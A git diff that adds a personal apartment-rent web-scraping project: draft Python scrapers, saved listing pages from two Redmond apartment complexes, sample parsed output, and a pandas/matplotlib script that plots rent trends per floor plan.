headers = header) + +# #Open url +# response = urlopen(req) + +# #Read HTML +# print(response.read()) + + +# html_bytes = urlopen(url).read() + +# html = html_bytes.decode("utf-8") + +# print(html) + +# for i in range (1,23): +# page_url=url + str(i) +# pages_url.append(page_url) + +# def get_dom(the_url): +# response = requests.get(the_url, headers=header) +# soup = BeautifulSoup(response.text,'lxml') +# dom = et.HTML(str(soup)) +# return dom + + +# def get_listing_url(page_url): +# dom = get_dom(page_url) +# page_link_list=dom.xpath('/html/body/section[2]') +# # for page_link in page_link_list: +# # listing_url.append("https://www.pararius.com"+page_link) +# print(page_link_list) + + +# # dom = get_dom(page_url) +# # print(dom) + +# # get_listing_url(page_url) + + +# soup = BeautifulSoup(html, "html.parser") +# # soup = BeautifulSoup(html, "html5lib") + +# # print(soup.get_text().replace()) + +# for tag in soup.find_all('body', class_='floating-cta-activated'): +# print(tag) + +# # print(ul) + +# # for u in ul: +# # if u.find.all('li', class_="fp-group-item"): +# # print(u) + +import pandas as pd +from selenium import webdriver +from selenium.webdriver.common.by import By +from selenium.webdriver.common.keys import Keys +from selenium.webdriver.support import expected_conditions as EC +from selenium.webdriver.support.wait import WebDriverWait + +# Establish chrome driver and go to report site URL +driver = webdriver.Chrome() + +driver.implicitly_wait(10) # seconds + +driver.get(url) + +ID = "id" +NAME = "name" +XPATH = "xpath" +LINK_TEXT = "link text" +PARTIAL_LINK_TEXT = "partial link text" +TAG_NAME = "tag name" +CLASS_NAME = "class name" +CSS_SELECTOR = "css selector" + +# myDynamicElement = driver.find_element_by_id("floorplan-overview-content") + +try: + # element = WebDriverWait(driver, 20).until( + # EC.presence_of_element_located((By.ID, "floorplan-overview-content")) + # ) + + # myDynamicElement = driver.find_element(By.XPATH, '//*[@id="floorplan-overview-content"]') + + myDynamicElement = driver.find_element(By.ID, "floorplan-overview-content") + + print("yes") +finally: + driver.quit() + + +# print(players) diff --git a/_posts/00CodeNote/project/webscrap_apt/code_draft/main.py b/_posts/00CodeNote/project/webscrap_apt/code_draft/main.py new file mode 100644 index 00000000000..ddb0f349b37 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/code_draft/main.py @@ -0,0 +1,229 @@ +# from urllib.request import urlopen + +# from bs4 import BeautifulSoup + +import re +from urllib.request import urlopen + +import nltk +import requests + +# # from csv import writer +# # import time +# # import random +# # from lxml import etree as et + +# # from urllib.request import Request, urlopen +# # from urllib.error import URLError, HTTPError + + +# url = "https://www.irtliving.com/Apartments-In/Charleston-SC/Talison-Row" +# # pages_url=[] +# # listing_url=[] + + +# # #Opening +# # req = Request(url, headers = header) + +# # #Open url +# # response = urlopen(req) + +# # #Read HTML +# # print(response.read()) + + +# # html_bytes = urlopen(url).read() + +# # html = html_bytes.decode("utf-8") + +# # print(html) + +# # for i in range (1,23): +# # page_url=url + str(i) +# # pages_url.append(page_url) + + +def set_cookies(url): + r = requests.get( + the_url, + timeout=30, + headers=header, + ) + code = r.status_code + # print(code) + if code == 200: + # print(type(r.text)) + # print(r.json()) + # print(type(r.json())) + # print(r.cookies) + jar = requests.cookies.RequestsCookieJar() + for key, value in r.cookies.items(): + jar.set(key, value) + return jar + + +def get_html_text(the_url, header, jar): + r = requests.get( + the_url, + timeout=30, + headers=header, + cookies=jar, + ) + code = r.status_code + # print(code) + if code == 200: + # print(type(r.text)) + # print(r.json()) + # print(type(r.json())) + # print(r.cookies) + # for key, value in r.cookies.items(): + # print(key + '=' + value) + + # return "get r.text" + print(r.text) + return r + else: + return "error" + + +def get_content(r): + pattern = re.compile("explore-feed.*?question_link.*?>(.*?)", re.S) + content = re.findall(pattern, r.text) + print(content) + + # try: + # r = requests.get(the_url, timeoue=30) + + # code = r.status_code + # r.raise_for_status() + + # r.encoding = r.apparent_encoding + # return r.text + + # except: + # return "error" + + +def clean_html(html): + """ + Copied from NLTK package. + Remove HTML markup from the given string. + + :param html: the HTML string to be cleaned + :type html: str + :rtype: str + """ + + # First we remove inline JavaScript/CSS: + cleaned = re.sub(r"(?is)<(script|style).*?>.*?()", "", html.strip()) + # Then we remove html comments. This has to be done before removing regular + # tags since comments can contain '>' characters. + cleaned = re.sub(r"(?s)[\n]?", "", cleaned) + # Next we can remove the remaining tags: + cleaned = re.sub(r"(?s)<.*?>", " ", cleaned) + # Finally, we deal with whitespace + cleaned = re.sub(r" ", " ", cleaned) + cleaned = re.sub(r" ", " ", cleaned) + cleaned = re.sub(r" ", " ", cleaned) + return cleaned.strip() + + +def test(url): + html = urlopen(url).read() + raw = nltk.clean_html(html) + print(raw) + + +# # def get_dom(the_url): +# # response = requests.get(the_url, headers=header) +# # soup = BeautifulSoup(response.text,'lxml') +# # dom = et.HTML(str(soup)) +# # return dom + + +# # def get_listing_url(page_url): +# # dom = get_dom(page_url) +# # page_link_list=dom.xpath('/html/body/section[2]') +# # # for page_link in page_link_list: +# # # listing_url.append("https://www.pararius.com"+page_link) +# # print(page_link_list) + + +# # # dom = get_dom(page_url) +# # # print(dom) + +# # # get_listing_url(page_url) + + +# # soup = BeautifulSoup(html, "html.parser") +# # # soup = BeautifulSoup(html, "html5lib") + +# # # print(soup.get_text().replace()) + +# # for tag in soup.find_all('body', class_='floating-cta-activated'): +# # print(tag) + +# # # print(ul) + +# # # for u in ul: +# # # if u.find.all('li', class_="fp-group-item"): +# # # print(u) + +# import time +# from selenium import webdriver +# from selenium.webdriver.common.keys import Keys +# import pandas as pd + +# from selenium.webdriver.common.by import By +# from selenium.webdriver.support.wait import WebDriverWait +# from selenium.webdriver.support import expected_conditions as EC + +# # Establish chrome driver and go to report site URL +# driver = webdriver.Chrome() + +# driver.implicitly_wait(10) # seconds + +# driver.get(url) + +# ID = "id" +# NAME = "name" +# XPATH = "xpath" +# LINK_TEXT = "link text" +# PARTIAL_LINK_TEXT = "partial link text" +# TAG_NAME = "tag name" +# CLASS_NAME = "class name" +# CSS_SELECTOR = "css selector" + +# # myDynamicElement = driver.find_element_by_id("floorplan-overview-content") + +# try: +# # element = WebDriverWait(driver, 20).until( +# # EC.presence_of_element_located((By.ID, "floorplan-overview-content")) +# # ) + +# # myDynamicElement = driver.find_element(By.XPATH, '//*[@id="floorplan-overview-content"]') + + +# myDynamicElement = driver.find_element(By.ID, 'floorplan-overview-content') + +# print("yes") +# finally: +# driver.quit() + + +# # print(players) + + +if __name__ == "__main__": + + the_url = "https://www.livetalisman.com/redmond/talisman/conventional/" + + header = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36" + } + + # jar = set_cookies(the_url) + + # get_html_text(the_url, header, jar) + + test(the_url) diff --git a/_posts/00CodeNote/project/webscrap_apt/html_example/apt_modera.html b/_posts/00CodeNote/project/webscrap_apt/html_example/apt_modera.html new file mode 100644 index 00000000000..27c464c980d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/html_example/apt_modera.html @@ -0,0 +1,1955 @@ + + + + + + + + + + + Studio - 2 Bed Apartments - Check Availability | Modera Redmond + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + +
    +

    LIVE UP TO 6 WEEKS FREE + ADDITIONAL $1000 CREDIT!* Contact us for details.

    +
    + +
    + + +
    +
    + + +
    + +
    + + + +

    + Search Filter +

    + +
    + Filters + +
    + + +
      +
    • + +
      +
      +
      + + +
      +
      + +
      +
      +
      +
      +
    • +
    • + +
      + + + + +
      +
    • +
    • + +
      + + + + +
      +
    • +
    • + + Filter Floor Plans + +
    • +
    +
    + +
    + +
    +

    + Studio + 2 +

    +
    + More + + +
    +
    + + + +
      +
    • +
      + +
      +
      + 477 square foot studio one bath floor plan image + +
      + 477 square foot studio one bath floor plan image +
      +
      +
      +
      + +

      + S01 + +

      + + +
      +
      Beds / BathsStudio / 1 ba + + +
      +
      Rent +
      Starting from + $1,777/month
      +
      +
      Deposit$300
      +
      Sq. Ft477+
      + +
      +
      +
    • +
    • +
      +
      +
      498 square foot studio one bath floor plan image + +
      498 square foot studio one bath floor plan image +
      +
      +
      +
      +

      + S02 + +

      + + +
      +
      Beds / BathsStudio / 1 ba + + +
      +
      Rent +
      Starting from + $1,953/month
      +
      +
      Deposit$300
      +
      Sq. Ft498+
      + +
      +
      +
    • +
    +
      +
    • +
      +
      +
      531 square foot one bedroom one bath floor plan image + +
      531 square foot one bedroom one bath floor plan image +
      +
      +
      +
      + +

      A01

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $1,856/month
      +
      +
      Deposit$300
      +
      Sq. Ft531
      + +
      +
      +
    • +
    • +
      +
      +
      553-555 square foot one bedroom one bath floor plan image + +
      553-555 square foot one bedroom one bath floor plan image +
      +
      +
      +
      +

      A03

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $1,950/month
      +
      +
      Deposit$300
      +
      Sq. Ft553+
      + +
      +
      +
    • +
    • +
      +
      +
      588-606 square foot one bedroom one bath floor plan image + +
      588-606 square foot one bedroom one bath floor plan image +
      +
      +
      +
      +

      A04

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $1,991/month
      +
      +
      Deposit$300
      +
      Sq. Ft588+
      + +
      +
      +
    • +
    • +
      +
      +
      735 square foot one bedroom one bath floor plan image + +
      735 square foot one bedroom one bath floor plan image +
      +
      +
      +
      +

      A05L

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $2,366/month
      +
      +
      Deposit$300
      +
      Sq. Ft735
      + +
      +
      +
    • +
    • +
      +
      +
      606 square foot one bedroom one bath floor plan image + +
      606 square foot one bedroom one bath floor plan image +
      +
      +
      +
      +

      A06

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $2,219/month
      +
      +
      Deposit$300
      +
      Sq. Ft606
      + +
      +
      +
    • +
    • +
      +
      +
      670 square foot one bedroom one bath floor plan image + +
      670 square foot one bedroom one bath floor plan image +
      +
      +
      +
      +

      A08

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $2,020/month
      +
      +
      Deposit$300
      +
      Sq. Ft670
      + +
      +
      +
    • +
    • +
      +
      +
      640 square foot one bedroom one bath floor plan image + +
      640 square foot one bedroom one bath floor plan image +
      +
      +
      +
      +

      A09

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $2,219/month
      +
      +
      Deposit$300
      +
      Sq. Ft640
      + +
      +
      +
    • +
    • +
      +
      +
      672 square foot one bedroom one bath floor plan image + +
      672 square foot one bedroom one bath floor plan image +
      +
      +
      +
      +

      A10

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $2,456/month
      +
      +
      Deposit$300
      +
      Sq. Ft672+
      + +
      +
      +
    • +
    • +
      +
      +
      751 square foot one bedroom one bath floor plan image + +
      751 square foot one bedroom one bath floor plan image +
      +
      +
      +
      +

      A12

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $2,855/month
      +
      +
      Deposit$300
      +
      Sq. Ft751+
      + +
      +
      +
    • +
    • +
      +
      +
      777 square foot one bedroom one bath with den floor plan image + +
      777 square foot one bedroom one bath with den floor plan image +
      +
      +
      +
      +

      A14D

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $2,675/month
      +
      +
      Deposit$300
      +
      Sq. Ft777+
      + +
      +
      +
    • +
    • +
      +
      +
      882 square foot one bedroom one bath with den floor plan image + +
      882 square foot one bedroom one bath with den floor plan image +
      +
      +
      +
      +

      A16D

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $2,860/month
      +
      +
      Deposit$300
      +
      Sq. Ft882
      + +
      +
      +
    • +
    +
      +
    • +
      +
      +
      1,039 square foot two bedroom two bath floor plan image + +
      1,039 square foot two bedroom two bath floor plan image +
      +
      +
      +
      +

      B03

      + + +
      +
      Beds / Baths2 bd / 2 ba + + +
      +
      Rent +
      Starting from + $3,356/month
      +
      +
      Deposit$300
      +
      Sq. Ft1,039+
      + +
      +
      +
    • +
    • +
      +
      +
      1,233 square foot two bedroom two bath with den floor plan image + +
      1,233 square foot two bedroom two bath with den floor plan image +
      +
      +
      +
      +

      B07D

      + + +
      +
      Beds / Baths2 bd / 2 ba + + +
      +
      Rent +
      Starting from + $3,501/month
      +
      +
      Deposit$300
      +
      Sq. Ft1,233
      + +
      +
      +
    • +
    + +
    + +
    + Once you've had a chance to browse our floor plans, + connect with us + today and we'll be happy to set you up on a personal tour! + +
    + +

    + * Pricing and availability are subject to change. Rent is based on monthly frequency.
    + **SQFT listed is an approximate value for each Home. +

    + +
    + + +
    +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + src="https://cdn.cookielaw.org/scripttemplates/otSDKStub.js" + type="text/javascript" charset="UTF-8" data-domain-script="cf5e08bb-db2f-4d8c-8543-bbb1b2150f7e" > + + + + + + + + + + diff --git a/_posts/00CodeNote/project/webscrap_apt/html_example/apt_talisman.html b/_posts/00CodeNote/project/webscrap_apt/html_example/apt_talisman.html new file mode 100644 index 00000000000..865a72d84c8 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/html_example/apt_talisman.html @@ -0,0 +1,1755 @@ + + + + + + + + + + + 1 - 3 Bed Apartments - Check Availability | Talisman + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + + White Logo + +
    +
    + + +
    + + +
    +
    +

    + Our Floor Plans +

    +
    +
    +
    + + + + + +

    Search Filter

    +
    + Filters + +
    + +
      +
    • + +
      +
      +
      + + +
      +
      + +
      +
      +
      +
      +
    • +
    • + +
      + + + + +
      +
    • +
    • + +
      + + + + +
      +
    • +
    • + + Filter Floor Plans + +
    • +
    +
    +
    + + + + +

    + + Urban One Bedroom +

    + +
    + +
      +
    • +
      +
      +
      + + A1 Floor Plan + + +
      + A1 Floor Plan +
      +
      +
      +
      + + +

      + Urban with Kitchen Bar +

      + + + +
      +
      + Beds / Baths + 1 + bd / 1 + ba + + + +
      +
      + Rent +
      + Starting from + $1,921/month +
      +
      +
      + Deposit + $300 +
      +
      + Sq. Ft + 605 +
      + +
      +
      + + +
      +
      + + +
      +
      +
    • + + +
    • +
      +
      +
      + + A10 Floor Plan + + +
      + A10 Floor Plan +
      +
      +
      +
      + + +

      + + Urban with L or Galley Kitchen + +

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      $1,940/month
      +
      +
      Deposit$300
      +
      Sq. Ft578
      +
      +
      + + +
      +
      + + +
      +
      +
    • + + +
    • + +
      +
      +
      + + A2 Floor Plan + + +
      + A2 Floor Plan +
      +
      +
      +
      + + + +

      Urban Plus with Kitchen Bar

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      + Rent +
      + Starting from + $2,013/month +
      +
      +
      Deposit$300
      +
      Sq. Ft650
      +
      +
      + + +
      +
      + +
      +
      +
    • +
    +
    + + + +

    + + One Bedroom +

    + +
    + +
      + +
    • + +
      + +
      +
      + + B5 Floor Plan + + +
      + B5 Floor Plan +
      +
      +
      +
      + + + +

      + + Traditional One Bedroom + +

      + + + + +
      + + +
      + + Beds / Baths + + 1 + bd +  / 1 + + ba + + + +
      + + +
      + + Rent + +
      + Starting from + $2,072/month +
      +
      + +
      + Deposit + $300 +
      + +
      + Sq. Ft + 775 +
      + + +
      + +
      + + + + +
      +
      + + +
      +
      +
    • + + +
    • + +
      + +
      +
      + + AL1 Floor Plan + + +
      + AL1 Floor Plan +
      +
      +
      +
      + + + +

      Loft One Bedroom

      + + +
      +
      Beds / Baths1 bd / 1 ba + + +
      +
      Rent +
      Starting from + $2,665/month
      +
      +
      Deposit$300
      +
      Sq. Ft785
      +
      +
      + + +
      +
      + +
      +
      +
    • +
    +
    + + +

    + + Two Bedroom +

    + + +
    +
      +
    • +
      +
      +
      C2 Floor Plan + +
      C2 Floor Plan +
      +
      +
      +
      +

      Traditional Two Bedroom

      + + +
      +
      Beds / Baths2 bd / 2 ba + + +
      +
      Rent +
      Starting from + $3,642/month
      +
      +
      Deposit$300
      +
      Sq. Ft1,131
      +
      +
      + + +
      +
      + +
      +
      +
    • +
    • +
      +
      +
      AL4 Floor Plan + +
      AL4 Floor Plan +
      +
      +
      +
      +

      1x1 Loft Plus

      + + +
      +
      Beds / Baths2 bd / 2 ba + + +
      +
      + Rent +
      +
      +
      Deposit
      +
      Sq. Ft863
      +
      +
      + + +
      +
      + +
      +
      +
    • +
    • +
      +
      +
      C3 Floor Plan + +
      C3 Floor Plan +
      +
      +
      +
      +

      1x1 Plus

      + + +
      +
      Beds / Baths2 bd / 2 ba + + +
      +
      Rent +
      +
      +
      Deposit$300
      +
      Sq. Ft935
      +
      +
      + + +
      +
      + +
      +
      +
    • +
    • +
      +
      +
      CL6 Floor Plan + +
      CL6 Floor Plan +
      +
      +
      +
      +

      Loft Two Bedroom

      + + +
      +
      Beds / Baths2 bd / 2 ba + + +
      +
      Rent +
      Starting from + $2,806/month
      +
      +
      Deposit$300
      +
      Sq. Ft1,362
      +
      +
      + + +
      +
      + +
      +
      +
    • +
    +
    + + +

    + + Three Bedroom +

    + + +
    +
      +
    • +
      +
      +
      DL2 Floor Plan + +
      DL2 Floor Plan +
      +
      +
      +
      +

      Loft Three Bedroom

      + + +
      +
      Beds / Baths3 bd / 2 ba + + +
      +
      Rent +
      +
      +
      Deposit$300
      +
      Sq. Ft1,521
      +
      +
      + + +
      +
      + +
      +
      +
    • +
    • +
      +
      +
      D1 Floor Plan + +
      D1 Floor Plan +
      +
      +
      +
      + +

      2x2 Plus

      + + +
      +
      Beds / Baths3 bd / 2 ba + + +
      +
      Rent +
      +
      +
      Deposit$300
      +
      Sq. Ft1,362
      +
      +
      + + +
      +
      + +
      +
      +
    • +
    +
    + + + + + + + +
    +

    + * Pricing and availability are subject to change. Rent is based on monthly frequency.
    + **SQFT listed is an approximate value for each unit. +

    +
    + +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/_posts/00CodeNote/project/webscrap_apt/html_example/apt_talisman2.html b/_posts/00CodeNote/project/webscrap_apt/html_example/apt_talisman2.html new file mode 100644 index 00000000000..75adabfba1c --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/html_example/apt_talisman2.html @@ -0,0 +1,1841 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Available 1, 2, or 3 bedroom apartments in Redmond, WA | Talisman + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + +
    +
    + +
    + + + + + + +
    + + + +
    + + + + + +
    + +
    +
    +
    +

    Our urban, loft-inspired homes reflect your sophisticated style, featuring quartz countertops, air + conditioning and balconies in select apartments, stainless steel appliances, and more. Explore our + one, two, and three bedroom apartment homes offering the latest smart home technology features and + design touches that you're looking for.

    +
    +
    +
    + +
    +
    +
    + +
    +
    + + +
    + +
    + +
    +
    + + + + +
    +
    + +
    +

    Floorplans are artist’s rendering. All dimensions are approximate. Actual + product and specifications may vary in dimension or detail. Not all features are available in every + apartment. Prices and availability are subject to change. Please see a representative for details.

    +
    +
    + +
    +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + diff --git a/_posts/00CodeNote/project/webscrap_apt/html_example/ideal_modera.md b/_posts/00CodeNote/project/webscrap_apt/html_example/ideal_modera.md new file mode 100644 index 00000000000..6d2ead35e35 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/html_example/ideal_modera.md @@ -0,0 +1,14 @@ +🟢:S01 ;Beds / Baths ;Studio / 1 ba ;Rent ;Starting from $1,874/month ;Deposit ;$300 ;Sq. Ft ;477 + ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Only One Left! ;Details +🟢:S01L ;Beds / Baths ;Studio / 1 ba ;Rent ;Starting from $2,617/month ;Deposit ;$300 ;Sq. Ft ;641 + ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Only One Left! ;Details +🟢:A03 ;Beds / Baths ;1 bd / 1 ba ;Rent ;Starting from $1,906/month ;Deposit ;$300 ;Sq. Ft ;553 + ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Only One Left! ;Details +🟢:A05 ;Beds / Baths ;1 bd / 1 ba ;Rent ;$1,945/month ;Deposit ;$300 ;Sq. Ft ;596 ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Available Jun 06, 2023 ;Details +🟢:A06 ;Beds / Baths ;1 bd / 1 ba ;Rent ;Starting from $2,085/month ;Deposit ;$300 ;Sq. Ft ;606 ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Only One Left! ;Details +🟢:A07 ;Beds / Baths ;1 bd / 1 ba ;Rent ;Starting from $2,372/month ;Deposit ;$300 ;Sq. Ft ;634 + ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Only One Left! ;Details +🟢:A09 ;Beds / Baths ;1 bd / 1 ba ;Rent ;Starting from $2,420/month ;Deposit ;$300 ;Sq. Ft ;640 ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Only One Left! ;Details +🟢:A10 ;Beds / Baths ;1 bd / 1 ba ;Rent ;Starting from $2,422/month ;Deposit ;$300 ;Sq. Ft ;672 + ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;2 Available ;Details +🟢:A12 ;Beds / Baths ;1 bd / 1 ba ;Rent ;Starting from $2,616/month ;Deposit ;$300 ;Sq. Ft ;751 + ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Available Apr 14, 2023 ;Details +🟢:A16D ;Beds / Baths ;1 bd / 1 ba ;Rent ;Starting from $2,885/month ;Deposit ;$300 ;Sq. Ft ;882 ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Only One Left! ;Details +🟢:B01 ;Beds / Baths ;2 bd / 2 ba ;Rent ;Starting from $3,420/month ;Deposit ;$300 ;Sq. Ft ;961 ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Only One Left! ;Details +🟢:B03 ;Beds / Baths ;2 bd / 2 ba ;Rent ;Starting from $3,517/month ;Deposit ;$300 ;Sq. Ft ;1,039 + ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Only One Left! ;Details +🟢:B05 ;Beds / Baths ;2 bd / 2 ba ;Rent ;Starting from $3,558/month ;Deposit ;$300 ;Sq. Ft ;1,124 + ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Available Apr 14, 2023 ;Details +🟢:S01L ;Beds / Baths ;Studio / 1 ba ;Rent ;Starting from $2,617/month ;Deposit ;$300 ;Sq. Ft ;641 + ;Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply. ;Only One Left! ;Details diff --git a/_posts/00CodeNote/project/webscrap_apt/html_example/ideal_talisman.md b/_posts/00CodeNote/project/webscrap_apt/html_example/ideal_talisman.md new file mode 100644 index 00000000000..172073ea341 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/html_example/ideal_talisman.md @@ -0,0 +1,37 @@ + +🟢:Urban with L or Galley Kitchen +1 Bed 1 Bath 578 sq. ft. +Contact Us +🟢:Urban with Kitchen Bar +1 Bed 1 Bath 605 sq. ft. +Contact Us +🟢:Urban Plus with Kitchen Bar +1 Bed 1 Bath 650 sq. ft. +Contact Us +🟢:Traditional One Bedroom +1 Bed 1 Bath 775 sq. ft. +Contact Us +🟢:Loft One Bedroom +1 Bed 1 Bath 785 sq. ft. +$2,666 - $2,985 +🟢:AL2 +1 Bed 1 Bath 785 sq. ft. +$2,626 - $2,940 +🟢:1x1 Loft Plus +2 Bed 2 Bath 863 sq. ft. +Contact Us +🟢:1x1 Plus +2 Bed 2 Bath 935 sq. ft. +$2,750 - $2,943 +🟢:Traditional Two Bedroom +2 Bed 2 Bath 1131 sq. ft. +$2,959 - $3,555 +🟢:Loft Two Bedroom +2 Bed 2 Bath 1362 sq. ft. +Contact Us +🟢:2x2 Plus +3 Bed 2 Bath 1362 sq. ft. +Contact Us +🟢:Loft Three Bedroom +3 Bed 2 Bath 1521 sq. ft. +Contact Us diff --git a/_posts/00CodeNote/project/webscrap_apt/html_example/test.html b/_posts/00CodeNote/project/webscrap_apt/html_example/test.html new file mode 100644 index 00000000000..2aa4f10b56e --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/html_example/test.html @@ -0,0 +1,205 @@ + + + + + + +
    + + + +
    + + + + + + +
    + +
    + + + + diff --git a/_posts/00CodeNote/project/webscrap_apt/img_play.py b/_posts/00CodeNote/project/webscrap_apt/img_play.py new file mode 100755 index 00000000000..6cb2df5b0b6 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/img_play.py @@ -0,0 +1,151 @@ +import logging +import os +import sys + +import matplotlib.pyplot as plt +import matplotlib.ticker as ticker +import numpy as np +import pandas as pd + +# Logs will go to CloudWatch log group corresponding to lambda, +# If Lambda has the necessary IAM permissions. +# Set logLevel to logging.INFO or logging.DEBUG for debugging. +logging.basicConfig(stream=sys.stdout, level=logging.INFO) +LOGGER = logging.getLogger(__name__) +# Retrieve log level from Lambda Environment Variables +LOGGER.setLevel(level=os.environ.get("LOG_LEVEL", "INFO").upper()) + + +def read_csv(dir_path): + # list to store files + csv_files = [] + # csv_files = ["./apt_output/apt_20230326.csv", "./apt_output/apt_20230327.csv", "./apt_output/apt_20230328.csv"] + # Iterate directory, get list of CSV files to read + dir_path = dir_path + "apt_output/" + for path in os.listdir(dir_path): + # check if current path is a file + if os.path.isfile(os.path.join(dir_path, path)): + dir_path + path + csv_files.append(dir_path + path) + # LOGGER.info("Add file: %s " % file_name) + LOGGER.info("🍰 ======= Collected data in csv_files: %s =======" % csv_files) + return csv_files + + +def floor_plan_list(csv_files): + # Create a dictionary with Apt names as keys and a list of unique Floor_plan values as values + apt_dict = {} + # loop through each CSV file and append to all_data + for file in csv_files: + df = pd.read_csv(file) + # Remove duplicates + df = df.drop_duplicates(subset=["Apt", "Floor_plan"]) + for apt in df["Apt"].unique(): + floor_plan_list = df[df["Apt"] == apt]["Floor_plan"].unique().tolist() + apt_dict[apt] = floor_plan_list + LOGGER.info("🍰 ======= Collected floorplan in Apts =======") + for apt in apt_dict: + LOGGER.info("%s: %s", apt, apt_dict[apt]) + return apt_dict + + +def draw_png(csv_files, apt, floor_plans): + # Create a new figure to plot the data + fig, ax = plt.subplots() + # create empty dataframe to store all data + all_data = pd.DataFrame() + + # loop through each CSV file and append to all_data + for file in csv_files: + LOGGER.info(f"Data info appending for file {file}") + df = pd.read_csv(file, parse_dates=["Date"]) + # all_data = all_data.append(df) + all_data = pd.concat([all_data, df]) + + # filter data by floor plans + filtered_data = all_data[all_data["Floor_plan"].isin(floor_plans)] + + # loop through each floor plan and plot on the same graph + for floor_plan in floor_plans: + data = filtered_data[filtered_data["Floor_plan"] == floor_plan] + data = data.copy() + # modify the format and sort + + # Replace empty strings with NaN values + data["Rent"] = data["Rent"].replace("", np.nan) + data["Rent"] = ( + data["Rent"] + .astype(str) + .str.replace(",", "") + .str.extract(r"\$([0-9,]+)(?:/month)?")[0] + ) + + # sort the data by date + data = data.sort_values(by="Date") + # logging.info(data) + + ax.plot(data["Date"], data["Rent"].astype(float), label=floor_plan) + + # add marker for lowest rent price + min_rent = data["Rent"].astype(float).min() + # LOGGER.info("Minimum rent for floor plan %s is %s ", floor_plan, min_rent) + # print(type(min_rent)) + if np.isnan(min_rent): + LOGGER.info("-- No data for floor plan %s.", floor_plan) + else: + data["Rent"] = data["Rent"].astype(float) + min_rent = data[data["Rent"] == min_rent]["Rent"].iloc[0] + min_date = data[data["Rent"] == min_rent]["Date"].iloc[0] + # convert the date format to "YYYY/MM/DD" + min_date_str = min_date.strftime("%Y/%m/%d") + LOGGER.info( + "-- Minimum rent for floor plan %s is %s on %s", + floor_plan, + min_rent, + min_date_str, + ) + + ax.annotate( + f"${min_rent} ({min_date_str})", + xy=(min_date, min_rent), + xytext=(min_date, min_rent + 100), + ha="left", + va="center", + fontsize=4, + color="blue", + 